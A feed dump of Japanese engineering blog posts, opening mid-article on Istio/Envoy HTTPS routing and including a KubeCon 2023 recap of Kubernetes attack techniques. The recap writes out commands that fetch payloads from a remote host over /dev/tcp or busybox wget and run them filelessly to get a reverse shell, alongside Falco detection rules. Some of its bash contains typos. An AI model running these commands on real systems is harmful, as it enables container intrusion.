foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_active_secrets}\\" | yq -PConfigDump (proto) — envoy 1.33.0-dev-8fd5cc documentationサービスメッシュ外からのHTTPSここでは、istio-proxyコンテナはHTTPSリクエストを処理するとします。図中の番号に沿って、通信の仕組みを解説します。送信元Pod側のistio-proxyコンテナ送信元マイクロサービスからのHTTPSリクエストの宛先ポート (例:50000) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_50000) 。HTTPSリクエストを処理するための各種フィルターを選びます。また、宛先とTLSハンドシェイクを実行し、パケットのL7のアプリケーションデータを復号化します。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:50000) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:50000) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:foo-service.foo-namespace.svc.cluster.local) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートやホストで管理しています (例:outbound|50010|foo-service.foo-namespace.svc.cluster.local) 。設定した負荷分散方式 (例:ラウンドロビンなど) に応じて、Service配下のPodを選びます。Envoyは、エンドポイントをPodのIPアドレスや宛先ポートで管理しています (例::50000) 。宛先との間でTLS接続を確立し、パケットのL7のアプリケーションデータを暗号化します。そして、HTTPSリクエストを宛先PodにL7ロードバランシングします。宛先Pod側のistio-proxyコンテナL7ロードバランシングされたHTTPSリクエストの宛先ポート (例:50000) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_50000)HTTPSリクエストを処理するための各種フィルターを選びます。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:50000) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:inbound|50000||) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:example.com) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートで管理しています (例:inbound|50000||) エンドポイントを選びます。Envoyは、エンドポイントをローカルホストや宛先ポートで管理しています (例:127.0.0.6:50000) 。 ローカルホストにHTTPSリクエストを送信します。結果的に、宛先マイクロサービスにHTTPSリクエストが届きます。Istio Ingress vs. Kubernetes Ingress – Daniel Watrous on Software and Cloud Engineering▶︎ istio-proxyコンテナのプロキシ先のIPアドレスについてistio-proxyコンテナは、ローカルホストを127.0.0.6とし、HTTPSリクエストをマイクロサービスに送信します。これは、127.0.0.1を指定してしまうと、istio-proxyコンテナからマイクロサービスへの通信がiptables上でループしてしまうためです。istio-proxyコンテナからマイクロサービスへの通信では、正しくはiptables上でISTIO_OUTPUTからPOSTROUTINGに通信を渡します。一方で、もしローカルホストが127.0.0.1であると、ISTIO_OUTPUTからISTIO_IN_REDIRECTに通信を渡すことになり、istio-proxyコンテナに再びリダイレクトしてしまいます。hatappi1225さんの解説が鬼わかりやすかったです\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F画像引用元:mercari engineeringInbound Forwarding - Google ドキュメントiptables から理解する Istio 1.10 から変更された Inbound Forwarding | メルカリエンジニアリングマイクロサービス間のHTTPSここでは、istio-proxyコンテナはHTTPSリクエストを処理するとします。図中の番号に沿って、通信の仕組みを解説します。送信元Pod側のistio-proxyコンテナ送信元マイクロサービスからのHTTPSリクエストの宛先ポート (例:50010) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_50010) 。HTTPSリクエストを処理するための各種フィルターを選びます。また、宛先とTLSハンドシェイクを実行し、パケットのL7のアプリケーションデータを復号化します。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:50010) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:50010) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:foo-service.foo-namespace.svc.cluster.local) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートやホストで管理しています (例:outbound|50010|foo-service.foo-namespace.svc.cluster.local) 。設定した負荷分散方式 (例:ラウンドロビンなど) に応じて、Service配下のPodを選びます。Envoyは、エンドポイントをPodのIPアドレスや宛先ポートで管理しています (例::50010) 。宛先との間でTLS接続を確立し、パケットのL7のアプリケーションデータを暗号化します。そして、HTTPSリクエストを宛先PodにL7ロードバランシングします。宛先Pod側のistio-proxyコンテナL7ロードバランシングされたHTTPSリクエストの宛先ポート (例:50010) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_50010)HTTPSリクエストを処理するための各種フィルターを選びます。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:50010) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:inbound|50010||) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:example.com) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートで管理しています (例:inbound|50010||) エンドポイントを選びます。Envoyは、エンドポイントをローカルホストや宛先ポートで管理しています (例:127.0.0.6:50010) 。 ローカルホストにHTTPSリクエストを送信します。結果的に、宛先マイクロサービスにHTTPSリクエストが届きます。Istio流量管理实现机制深度解析-赵化冰的博客 | Zhaohuabing Blogサービスメッシュ外へのHTTPSここでは、istio-proxyコンテナはHTTPSリクエストを処理するとします。図中の番号に沿って、通信の仕組みを解説します。送信元Pod側のistio-proxyコンテナ送信元マイクロサービスからのHTTPSリクエストの宛先ポート (例:443) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_443) 。HTTPSリクエストを処理するための各種フィルターを選びます。また、宛先とTLSハンドシェイクを実行し、パケットのL7のアプリケーションデータを復号化します。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:443) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:443) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:istio-egressgateway-service.foo-namespace.svc.cluster.local) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターをIstio EgressGateway 宛先ポートやホストで管理しています (例:outbound|443|istio-egressgateway-service.foo-namespace.svc.cluster.local) 。設定した負荷分散方式 (例:ラウンドロビンなど) に応じて、Istio EgressGateway Service配下のPodを選びます。Envoyは、エンドポイントをPodのIPアドレスや宛先ポートで管理しています (例::443) 。宛先との間でTLS接続を確立し、パケットのL7のアプリケーションデータを暗号化します。そして、Istio EgressGateway PodにL7ロードバランシングします。宛先Pod (Istio EgressGateway Pod) 側のistio-proxyコンテナL7ロードバランシングされたHTTPSリクエストの宛先ポート (例:443) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_443)HTTPSリクエストを処理するための各種フィルターを選びます。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:443) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:inbound|50010||) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:external.com) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートやホストで管理しています (例:outbound|443|external.com) 。エンドポイントを選びます。Envoyは、エンドポイントをエントリ済システムのIPアドレスや宛先ポートで管理しています (例::50010) 。エントリ済システムのIPアドレスは、開発者が設定する必要はなく、EnvoyがDNSから動的に取得します。 エントリ済システムにHTTPSリクエストを送信します。Using Istio to MITM our users’ traffic | Steven ReitsmaIngress, egress, ServiceEntry DATA Flow issues for ISTIO API Gateway? - Discuss Istio07. おわりにIstioサイドカーメッシュがEnvoyのHTTPSリクエストの処理をどのように抽象化するのか、またEnvoyがどのようにHTTPSリクエストを処理するのかを解説しました。次々とサービスメッシュツールが登場したとしても、それがEnvoyを使用したサービスメッシュである限り、最終的にはEnvoyの設定値に行き着きます。そのため、抽象化されたEnvoyがどのように通信を扱うのかを一度でも理解すれば、様々なサービスメッシュツールで知識を流用できると思います。Istioはもちろん、他のEnvoyによるサービスメッシュツール (Consul、Ciliumなど) を使っている方の参考にもなれば幸いです\uD83D\uDC4D\uD83C\uDFFB謝辞今回、Kubernetesのネットワークを調査するにあたり、以下の方に知見をご教授いただきました。@ken5owata さんこの場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazonIstio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and Observe作者:Calcote, Lee,Butcher, ZackO\'ReillyAmazon","isoDate":"2024-01-15T16:34:04.000Z","dateMiliSeconds":1705336444000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"スリーシェイク、「AWS アドバンストティアサービスパートナー」に昇格","link":"https://sreake.com/blog/aws-advancedtier/","contentSnippet":"株式会社スリーシェイクは、アマゾン ウェブ サービス(以下、AWS)のAWSパートナーネットワーク(APN)において「AWS アドバンストティアサービスパートナー」に認定されたことをお知らせいたします。The post スリーシェイク、「AWS アドバンストティアサービスパートナー」に昇格 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-01-12T00:50:00.000Z","dateMiliSeconds":1705020600000,"authorName":"Sreake","authorId":"Sreake"},{"title":"k8sgpt-operator 開発メモ (ARM Mac 向け)","link":"https://zenn.dev/tozastation/articles/711f2bff2cc656","contentSnippet":"Kubernetes クラスタ構築 AMD64 コンテナ環境セットアップ ~ Lima VM ~https://github.com/lima-vm/limaGetting Started については README.md 参照Limaでは、事前に定義した内容でVMを作ることができますDocker 環境を構築する場合のサンプルも公開されていますhttps://github.com/lima-vm/lima/blob/master/examples/docker.yaml今回は、amd64 の VM を作成したいため、docker.yaml に以下の行を追記...","isoDate":"2024-01-10T00:17:57.000Z","dateMiliSeconds":1704845877000,"authorName":"tozastation","authorId":"tozastation"},{"title":"PipeCDのインストールとカスタマイズ","link":"https://sreake.com/blog/pipecd-installation/","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の荒木です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。 前回の記事では、Kubernetes […]The post PipeCDのインストールとカスタマイズ first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-01-09T04:09:23.000Z","dateMiliSeconds":1704773363000,"authorName":"Sreake","authorId":"Sreake"},{"title":"PipeCDの概要","link":"https://sreake.com/blog/pipecd-overview/","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の荒木です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。 この記事の目的は、Kubernete […]The post PipeCDの概要 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-01-09T04:05:16.000Z","dateMiliSeconds":1704773116000,"authorName":"Sreake","authorId":"Sreake"},{"title":"WSL の Linux から Windows のブラウザで URL を開く","link":"https://blog.1q77.com/2024/01/open-browser-in-wsl/","contentSnippet":"課題 WSL の Linux 内で awscli を使って SSO 認証する場合の aws sso login 実行時や GitHub の CLI である gh (cli.github.com ) コマンドで gh auth login を実行した場合に可能であれば自動でブラウザで指定の URL","isoDate":"2024-01-07T11:43:53.000Z","dateMiliSeconds":1704627833000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"2023年の振り返りをする","link":"https://nnaka2992.hatenablog.com/entry/zatu/2023_furikaeri","contentSnippet":"みんな振り返りしてる。振り返りしてないのはお前だけ。なので振り返りします。登壇関係2023-06-22 3-shake SRE Tech Talk #6これまで対外向けの登壇は行なったことが無かったのでこれが登壇デビューでした。DBREノススメ所属会社である株式会社スリーシェイクの主催するイベントでしたが、一度登壇すると登壇のハードルが低くなるのでとてもいい機会でした。今の会社にDBREerポジションで入社して6か月目の登壇なので今見ると当時と違う意見の部分もあったりしますが、今もDBREもSREも何なのか分かりません。2023-09-26 YugabyteDB Japan Meetup #3別件でYugabyte Japanの方と話していたところ、登壇してみないか? と誘われたためホイホイ話しに行った登壇でした。紹介 データベース信頼性エンジニアリングSRETTの方ではSREの存在を認知している方が多いだろうと想定して何故DBREが必要なのか? という話しをしたのに対して、こちらではDB関係者が多いと想いDBAとDBREという切り口で発表しました。YugabyteDBはドキュメントを始めから読む活動をしていたり(2023年後半はあまり出来ていませんが)、ローカル環境で動かして遊んだりはしていたもののYugabyteDBについて話せるほどの理解は(今も)なく次にYugabyteDB Japan Meetupで話す機会があればYugabyteDBについてを主題に話したいと思いました。2023-10-12 3-shake SRE Tech Talk #76月の登壇と同様に所属会社主催のイベントでした。KubernetesでDBを動かしたい2021年ごろにDBをKubernetesで動かす記事見て以来DB on Kubernetesには興味があったのですが、Kubernetes自体やデータベースのお勉強をしていたらなかなかDB on k8sまでたどりつけていませんでした。それをイベント駆動で無理やり勉強したのがこのイベントでした。内容としてはありきたりですが、Zalando Postgres Operatorを動かしましたというだけのものですが、ここでDB on k8sをさわってからはいろいろな機会でDB on k8sを触るようになりました。2023-12-26 第44回 PostgreSQLアンカンファレンス@オンライン年内最後の登壇はPostgreSQLアンカンファレンスでした。pgrollで実現するスキーマブルーグリーンデプロイメントちょうど登壇しやすいネタを抱えてたのとアドベントカレンダーでそーだいさんが運用・開発よりの話しが足りないと書いていたのを見て、DBREを名乗っているし話さなきゃいけないだろと思ったので登壇しました。もっと運用よりだったりサービス開発だったり設計よりの話も募集中です。 大体そういうの喋る担当が自分だけなのでめちゃめちゃ需要があるので気軽にどうぞ。登壇自体はpodman-composeとdocker composeの差分で悲しいライブデモになりました。検証環境と登壇環境はそろえなきゃいけないなと思いました。ブログ関連はてなブログでは主に読んだ論文やドキュメントについてまとめ、zennでは何かを調べてまとめたものや検証した結果をまとめるように使い分け運用しました。はてなブログでやっているYugabyteDBのドキュメントを全部読む取り組みは途中で止ってしまっているので動かします。zennの方は社内向けに話すもののうち社外に出しても問題ないようなものを垂れ流していましす。2024年は技術検証方面に力をいれたいのでzennを活発に出来たらなと思います。アドベントカレンダーは大風呂敷で畳みきれなかったデータベースエンジニアのためのDB on Kubernetes入門ガイドに始まり、誰得なのかわからないAlloyDB omni on Kubernetesを眺めると続いて、sqldefとpgrollを利用したPostgreSQLでのスキーマブルーグリーンデプロイメントを書きました。ターゲットは誰だったんですかね?まとめ2023年は今までインプット重視だったところからアウトプットを考えだした年でした。これはそろそろアウトプットをしなきゃいけないという思いもあったものの、2023年1月に現職に転職し社外へのアウトプットをする人が多くいたからという面も多大にあります。人は周りの5人の平均になるという言葉があるらしいですが、まさしくその例で環境が変り周りの人が変ったため個人の方向性も変ったのではないかと思います。外部にアウトプットすることが偉いわけではありませんが、外部に発信すると新しい機会も産まれましたし1来年以降も継続していきたいです。↩","isoDate":"2023-12-31T13:00:10.000Z","dateMiliSeconds":1704027610000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"KubeCon NA 2023 Recap: Attacking Kubernetes 編","link":"https://kyohmizu.hatenablog.com/entry/2023/12/31/040720","contentSnippet":"本記事は 3-shake Advent Calendar 2023 最終日の記事です。こんにちは、きょー (@kyohmizu) です少し旬を逃してしまいましたが、KubeCon NA 2023 の振り返りをしたいと思います。私はKubeConにはリアル参加しておらず、後からセッション動画を見ました。Kubernetes 編」ということで、Kubernetes へのサイバー攻撃テクニックに関するセッションを3つご紹介します。ちなみに本内容は、先日開催された CloudNative Days Tokyo 2023 にてお話しするか検討していたのですが、準備期間とセッション時間 (20分) の都合で泣く泣く諦めたものになります。 speakerdeck.comそれではセッション紹介に入ります。K8s Post-Exploitation: Privilege Escalation, Sidecar Container Injection, and Runtime Securityセッション情報Kubernetes クラスタに侵入した攻撃者が行う攻撃手法と、その対策を紹介するセッションです。最初に TeamTNT の行った攻撃キャンペーンについて、過去の調査レポートをベースに説明しています。クラスタへの初期アクセスの後、kubelet API のデフォルトポート (10250) を狙ってネットワークスキャンをかけています。スキャンによって kubelet API を発見した場合、kubelet API にPOSTリクエストを送り、最終的にノード内の全コンテナに対しクリプトマイナーをダウンロードします。詳細は調査レポートを参照いただきたいですが、攻撃コードを見るとどのように攻撃が行われるのかイメージしやすいと思います。この攻撃はアプリコンテナ内でクリプトマイナーを実行するため、早期に発見されてしまう可能性があります。そこでより発見されにくい攻撃手法として、セッション後半では「Sidecar Injection 攻撃」を取り上げています。Sidecar Injection 攻撃 は Microsoft の「Threat Matrix for Kubernetes」で紹介されている攻撃テクニックです。ちなみに MITRE ATT&CK の Containers Matrix にはこのテクニックは含まれていません。Sidecar Injection 攻撃は名前の通り、Pod 内のサイドカーコンテナを標的とします。セッション内で攻撃のサンプルコードが公開されていましたが、Pod 内のサイドカーコンテナのみを選択しクリプトマイナーを実行することを目的としているようでした。個人的にあまりピンと来なかったのは、アプリコンテナではなくサイドカーコンテナを狙うことで本当に攻撃を秘匿できるのか?という点です。サイドカーかはあまり関係ない気がします。そして最後に、これらの攻撃に対するセキュリティ対策について説明しています。Kubernetes セキュリティとして、イメージスキャンアドミッションコントロールランタイムセキュリティの3つのカテゴリを挙げ、実行中のコンテナに対する攻撃にはランタイムセキュリティが有効であると述べています。Falco を取り上げ、今回の攻撃に対する Falco ルールも公開されました。- list: shell_binaries items: [bash, csh, ksh, sh, tcsh, zsh, dash]- macro: shell_procs condition: proc.name in (shell_binaries)- rule: shell_in_container desc: notice shell activity within a container condition: > spawned process and container and shell_procs output: > shell in a container (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline) priority: WARNINGArbitrary Code & File Execution in R/O FS – Am I Write?セッション情報readOnlyRootFilesystem: true が設定されたコンテナにおいて、コンテナ内で攻撃コードを実行するテクニックを3つ紹介しています。Readonly Filesystem では、ファイルの読み込み (Read) と実行 (Execute) はできるが書き込み (Write) ができないという特徴があります。マルウェアを配置したりすることを防止します。ファイルレスマルウェアの攻撃も存在しますが、コンテナ内に curl や wget のようなツールが含まれていなければマルウェアをダウンロードできません。それではセッション内の3つのケースについて見ていきます。ここではすべてを紹介しきれないため、より詳しく知りたい方は動画を見たりツールを調べたりしてみてください。ケース1curl や wget のようなネットワークツールがない場合、どのように攻撃コードのファイルをダウンロードするのでしょうか?/dev/tcp を利用して TCP コネクションを確立し、ファイルをダウンロードしています。ただしダウンロードしたファイルを書き込むことはできないため、メモリ上で直接実行する必要があります。これには DDExec を使い、プロセスをハイジャックすることでファイルレス実行を可能にします。$ function __bindown () { read proto server path <<<$(echo ${1//// }) FILE=/${path// //} HOST-${server//:*} PORT=${server//*:} [[ x\\"$(HOST)\\" == x\\"${PORT}\\" ]] && PORT=8080 exec 3<>/dev/tcp/${HOST]/$PORT echo -en \\"GET ${(FILE) HTTP/1.0\\\\r\\\\nHost: $(HOST)\\\\r\\\\n\\\\r\\\\n\\" >&3 (while read line; do [[ \\"$line\\" == $\'\\\\r\' ]] && break done && cat) <&3 exec 3>&-}$ __bindown http://192.168.88.4:8080/shell.b64 | bash <(__bindown http://192.168.88.4:8080/ddexec.sh)base64 エンコードした攻撃用バイナリと ddexec.sh をそれぞれダウンロードし、ddexec.sh は bash で実行します。ケース2今回はコンテナイメージとして alpine を利用しています (ケース1は nginx でした)。alpine には bash が存在せず、/dev/tcp をそのまま実行することができないため、別の方法でファイルのダウンロードを試みます。curl や wget は存在しませんが、alpine には busybox がインストールされています。ファイルのダウンロードには busybox wget を利用し、ダウンロード先には Readonly RootFS の中でも書き込み可能な tmpfs を選択しています。$ mount | grep shmshm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)バイナリコードを直接実行できる ddsc.sh をダウンロードし、/dev/shm に保存します。noexec でマウントされているためファイルの実行はできませんが、ddsc.sh はシェルスクリプトなので sh から実行可能です。$ dde=$(mktemp -p /dev/shm)$ busybox wget -O - https://raw.githubusercontent.com/arget13/DDexec/main/ddsc.sh > $dde$ code=$(mktemp -p /dev/shm)$ echo \\"6a295899...60f05\\" > $code$ sh $dde -x < $codeケース3ケース2と同じマニフェストから作られた alpine コンテナの環境です。ファイルのダウンロードには引き続き busybox を利用しています。termination-log にファイルを保存し、リンカを利用してファイルを実行します。Kubernetes にはコンテナの終了メッセージを取得する機能があり、取得元ファイルのデフォルトパスが /dev/termination-log となっています。元々終了メッセージを書き込むことを想定したファイルなので、当然ながら書き込み可能です。これを攻撃用ファイルのダウンロード先に利用します。(終了メッセージの詳細は公式ドキュメントを参照ください)$ mount | grep termination-log/dev/vda1 on /dev/termination-log type ext4 (rw,relatime)mount コマンドの結果から、termination-log のマウントには noexec 属性がついていないことがわかります。これによりリンカを利用したファイル実行が可能となります。$ lddmusl libc (x86_64)Version 1.2.4_git20230717Dynamic Program LoaderUsage: /lib/ld-musl-x86_64.so.1 [options] [--] pathnameldd コマンドにより、リンカの使い方は /lib/ld-musl-x86_64.so.1 [実行ファイルのパス] であることがわかりました。あとは攻撃用ファイルをダウンロードして実行するだけです。$ busybox wget -O - https://raw.githubusercontent.com/arget13/DDexec/main/c-shell > /dev/termination-log$ /lib/ld-musl-x86_64.so.1 /dev/termination-logケース1, 2と同様、実行後にはリバースシェルが確立されています。攻撃テクニックの説明は以上となります。seccomp や SELinux の活用termination-log の場所の指定コンテナ内の通信やプロセスの監視seccomp や SELinux は対策としては一般的ですが、termination-log については聞いたことがなく、興味深い内容でした。ただしログの場所を変更できても noexec を付与する方法は見つけられなかったので、有効な対策と言えるかどうかはやや疑問が残りました。ケース2の /dev/shm を利用した攻撃については、検知するための Falco ルールも例示されました。- rule: Execution from /dev/shm desc: This rule detects file execution from the /dev/shm directory, a common tactic for threat actors to stash their readable+writable+(sometimes)executable files. condition: > spawned_process and (proc.exe startswith \\"/dev/shm/\\" or (proc.cwd startswith \\"/dev/shm/\\" and proc.exe startswith \\"./\\" ) or (shell_procs and proc.args startswith \\"-c /dev/shm\\") or (shell_procs and proc.args startswith \\"-i /dev/shm\\") or (shell_procs and proc.args startswith \\"/dev/shm\\") or (proc.args contains \\"/dev/shm\\" or proc.cwd startswith \\"/dev/shm\\") or (proc.cwd startswith \\"/dev/shm/\\" and proc.args startswith \\"./\\" )) and not container.image.repository in (falco_privileged_images, trusted_images) output: \\"File execution detected from /dev/shm (proc.cmdline=%proc.cmdline connection=%fd.name user.name=%user.name user.loginuid=%user.loginuid container.id=%container.id evt.type=%evt.type evt.res=%evt.res proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid proc.pcmdline=%proc.pcmdline proc.sid=%proc.sid proc.exepath=%proc.exepath user.uid=%user.uid user.loginname=%user.loginname group.gid=%group.gid group.name=%group.name container.name=%container.name image=%container.image.repository)\\" priority: WARNING本セッションは発表者が6月に投稿した記事をもとにしているようなので、併せて読んでいただくと良いかもしれません。また資料中の Pod のマニフェストはそのまま apply するとエラーになるため、ご自身で環境を再現したい方は以下をご利用ください。ケース1:apiVersion: v1kind: Podmetadata: name: method1-podspec: containers: - name: nginx image: nginx:latest securityContext: readOnlyRootFilesystem: true runAsUser: 101 ports: - containerPort: 80 volumeMounts: - mountPath: /var/run name: run - mountPath: /var/cache/nginx name: nginx-cache securityContext: seccompProfile: type: RuntimeDefault volumes: - name: run emptyDir: {} - name: nginx-cache emptyDir: {}ケース2, 3:apiVersion: v1kind: Podmetadata: name: method2-podspec: containers: - name: alpine image: alpine command: - sleep args: - \\"3600\\" securityContext: readOnlyRootFilesystem: true runAsUser: 65534 securityContext: seccompProfile: type: RuntimeDefaultRBACdoors: How Cryptominers Are Exploiting RBAC Misconfigsセッション情報system:anonymous ユーザーに cluster-admin ロールを付与していた場合の攻撃事例を紹介しています。cluster-admin は事前定義された ClusterRole で、クラスタ内のすべてのリソースに対する権限を持っています。system:anonymous は匿名リクエストに対して割り当てられているユーザーです。Kubernetes クラスタに対して認証なしであらゆるリソース操作ができてしまいます。今回の攻撃シナリオは以下の通りです。Kubernetes API Server をスキャンし、設定ミスのあるクラスタを発見DaemonSet としてクリプトマイナー (XMRig) を設置cluster-admin の証明書を作成し、クラスタへの侵害を永続化証明書作成の痕跡を削除興味深い点として、クリプトマイナーを設置する際に ClusterRoleBinding と DaemonSet を作成しますが、リソース名を kube-controller とすることで正規のリソースを偽装しています。運用業務でクラスタ内のリソースを確認したとしても、クリプトマイナーの存在に気づかないかもしれません。リポジトリも kubernetesio/~ のように偽装しています。また今回はCSRを削除していますが、cluster-admin を持っていれば、クラスタ内で行われる検知の回避や防御の無効化も容易にできてしまいます。クラスタとは別のレイヤーで、監査ログの監視などを行う必要があるかもしれません。パブリッククラウドを利用する場合、クラスタ内のセキュリティ対策とクラウド上の監視サービスを併用するのが良さそうです。セッション後半では、取るべきセキュリティ対策について紹介しています。Kubernetes API Server へのアクセスのネットワーク制限--anonymous-auth=false による匿名リクエストを無効化アドミッションコントローラーによる cluster-admin のバインディング禁止検知策として、設定ミスの検知Kubernetes API への攻撃の検知マイニングの検知のそれぞれ3つの対策が挙げられています。設定ミスの対策では、system:anonymous や system:authenticated に付与された権限がないか確認するためのスクリプトが紹介されています。Kubernetes の監査ログを監視することも有効です。Google Cloud の Security Command Center (SCC) には脅威検知の機能がありますが、この機能を利用すれば GKE に対する設定ミスや攻撃を検知できます。(発表者は Google Cloud の方です)マイニングの検知について、IoC (Indicator of Compromise) を利用する方法がセッション内では紹介されています。既知のマルウェアコンテナや悪意のあるバイナリ、攻撃サーバのIPアドレス等と照合することで攻撃を検知します。SCC におけるマイニング検知のベストプラクティスも興味があれば読んでみてください。おわりにいかがだったでしょうか?Kubernetes への攻撃手法を知ることは、(それ自体面白いというのもありますが) リスクベースのセキュリティ対策を検討する上で非常に有用です。このセキュリティ対策はどのような攻撃リスクを軽減してくれるのかこの攻撃が行われた場合、どのセキュリティ対策によって防ぐことができるのかといった観点で考えてみることをお勧めします。Kubernetes クラスタを目指して、皆で取り組んでいきましょう。","isoDate":"2023-12-30T19:07:20.000Z","dateMiliSeconds":1703963240000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"フォームライブラリに依存しないReactコンポーネント設計","link":"https://zenn.dev/kimitsu/articles/clean-react-form-architecture","contentSnippet":"背景React ではフォームライブラリを利用する場合、ナイーブに実装するとフォームの UI とフォームライブラリが密結合になります。これは特定のフォームライブラリに限った話ではなく、React Hook Form, Formik, React Final Form といった主要なフォームライブラリ全てで当てはまる問題です。例えば React Hook Form では、フォーム全体の設定をuseFormで行い、各属性ではregister, Controller, useControllerを使って UI と React Hook Form を接続します。つまりフォームコンポーネ...","isoDate":"2023-12-30T06:07:24.000Z","dateMiliSeconds":1703916444000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"Step Functionsを利用してNAT Gatewayを自動作成/削除する","link":"https://qiita.com/ys1/items/abf8daab19f616b3d854","contentSnippet":"概要本記事ではStep Functionsを利用して、Nat Gatewayを自動で作成/削除する方法について記載します。NAT Gatewayは作成しているだけでコストがかかるリソースであり、…","isoDate":"2023-12-29T15:25:41.000Z","dateMiliSeconds":1703863541000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"パフォーマンスを気にするならReact Hook Formが無難","link":"https://zenn.dev/kimitsu/articles/react-form-library-performance","contentSnippet":"最近、React のフォームライブラリを調査しました。その中でパフォーマンスについての言及は見かけるものの、実際に計測しているものが見当たらなかったので計測してみました。結論としては React Hook Form でなくても良いけど、パフォーマンスを気にするなら React Hook Form を選んでおくのが無難というところに落ち着きました。 要約入力欄 10 個、CPU 6\xd7 slowdown での計測結果ライブラリ1 文字入力した場合の再描画React Hook Form8ms 前後Formik100ms 前後Formik( ReplicaSet> PersistentVolumeClaim> Service> StatefulSet> Node> Pod> Deployment> Ingress> CronJob> ValidatingWebhookConfiguration> MutatingWebhookConfigurationUnused:> HTTPRoute> HorizontalPodAutoScaler...","isoDate":"2023-12-28T08:26:54.000Z","dateMiliSeconds":1703752014000,"authorName":"tozastation","authorId":"tozastation"},{"title":"K8sGPT: 概要","link":"https://zenn.dev/tozastation/articles/737871319fb33b","contentSnippet":"K8sGPT とはIt has SRE experience codified into its analyzers and helps to pull out the most relevant information to enrich it with AI.README.md, k8sgpt, https://github.com/k8sgpt-ai/k8sgptREADME.md の引用ですが、SRE Experience が Analyzerに体系化されており、最も関連性の高い情報を引き出してAIで補完するのに役立つと書かれています。 SRE Experien...","isoDate":"2023-12-28T07:16:37.000Z","dateMiliSeconds":1703747797000,"authorName":"tozastation","authorId":"tozastation"},{"title":"K8sGPT: Overview","link":"https://tozastation.hashnode.dev/k8sgpt-overview","contentSnippet":"What is K8sGPTIt has SRE experience codified into its analyzers and helps to pull out the most relevant information to enrich it with AI.README.md, k8sgpt, https://github.com/k8sgpt-ai/k8sgptSRE Experience & AnalyzersA class called Analyzer is d...","isoDate":"2023-12-28T05:55:08.000Z","dateMiliSeconds":1703742908000,"authorName":"tozastation","authorId":"tozastation"},{"title":"Googleが提供するBIツール「Looker」とは?","link":"https://sreake.com/blog/learn-about-looker/","contentSnippet":"はじめに 2023年10月30日、Googleが提供するBIツール「Looker」が政府認定クラウドサービス(通称 ISMAP) に認定されました。「Looker」が“政府認定クラウドサービス”に Google提供のBI […]The post Googleが提供するBIツール「Looker」とは? first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-12-28T00:11:29.000Z","dateMiliSeconds":1703722289000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Neovimで文法に従ってコードを範囲選択するtreemonkey.nvimを作った","link":"https://blog.atusy.net/2023/12/27/treemonkey-nvim/","contentSnippet":"treemonkey.nvimというプラグインを作りました。treesitterを活用し、カーソル位置に対応するノード(変数とか関数とか)を選択するプラグインです。ノードの開始位置と終了位置に対応するラベルがあるので、自分が選択したい範囲に対応するラベルを選ぶ形式です。","isoDate":"2023-12-27T00:00:00.000Z","dateMiliSeconds":1703635200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Google Cloud 検証環境を頑張りすぎず良い感じに整えた話","link":"https://sreake.com/blog/make-better-google-cloud-verification/","contentSnippet":"はじめに こんにちは!Sreake事業部 